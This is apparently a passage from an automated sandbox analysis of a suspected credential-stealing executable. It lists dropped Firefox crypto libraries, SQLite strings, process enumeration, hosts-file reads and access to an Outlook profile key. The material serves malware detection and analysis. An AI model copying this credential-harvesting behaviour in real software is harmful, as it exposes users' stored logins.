Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, softokn3.dll.12.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00416290 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetCurrentProcessId,

12_2_00416290

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1676:120:WilError_01
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Mutant created: \Sessions\1\BaseNamedObjects\AE86A6D5-F9414907-A57CDE79-FE96701B-9327B159A

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479960511.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491671682.0000000020370000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491651913.000000002036C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479481362.000000001F994000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491786540.00000000203A4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482100861.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482084797.000000001F99C000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, mozglue.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, nss3.dll.12.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.12.dr
Source:	Binary string: ucrtbase.pdb source: 1COK25f1vT.exe, 0000000C.00000003.489027569.000000001F308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, ucrtbase.dll.12.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.471221878.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.470488936.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491243929.0000000020304000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, freebl3.dll.12.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.463561095.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.476648214.000000001F99C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.476666229.000000001F9A0000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491634229.0000000020368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.479096628.000000001F990000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491786540.00000000203A4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482506212.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.482100861.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491797103.00000000203A8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.468064054.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.477468468.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475402246.000000001F994000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.475799639.000000001F998000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-1-0.dll.12.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 1COK25f1vT.exe, 0000000C.00000003.490976694.000000001F304000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489151743.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.493685455.000000001F978000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490948392.000000001F1CC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, vcruntime140.dll.12.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491560498.000000002034C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491604512.0000000020358000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491501790.0000000020340000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491586380.0000000020354000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491475649.000000002033C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491619490.000000002035C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491523003.0000000020344000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491545056.0000000020348000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491363124.0000000020330000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491387107.0000000020334000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491439552.0000000020338000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.12.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, mozglue.dll.12.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.12.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 1COK25f1vT.exe, 0000000C.00000003.491143128.00000000202F4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491172974.00000000202F8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491203658.00000000202FC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491225253.0000000020300000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491277123.000000002030C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491294897.0000000020314000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491260411.0000000020308000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491075653.00000000202E8000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491306740.0000000020318000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491029771.00000000202E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491109654.00000000202EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.514885809.000000001FB30000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491334003.0000000020320000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491319974.000000002031C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.490992060.00000000202E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 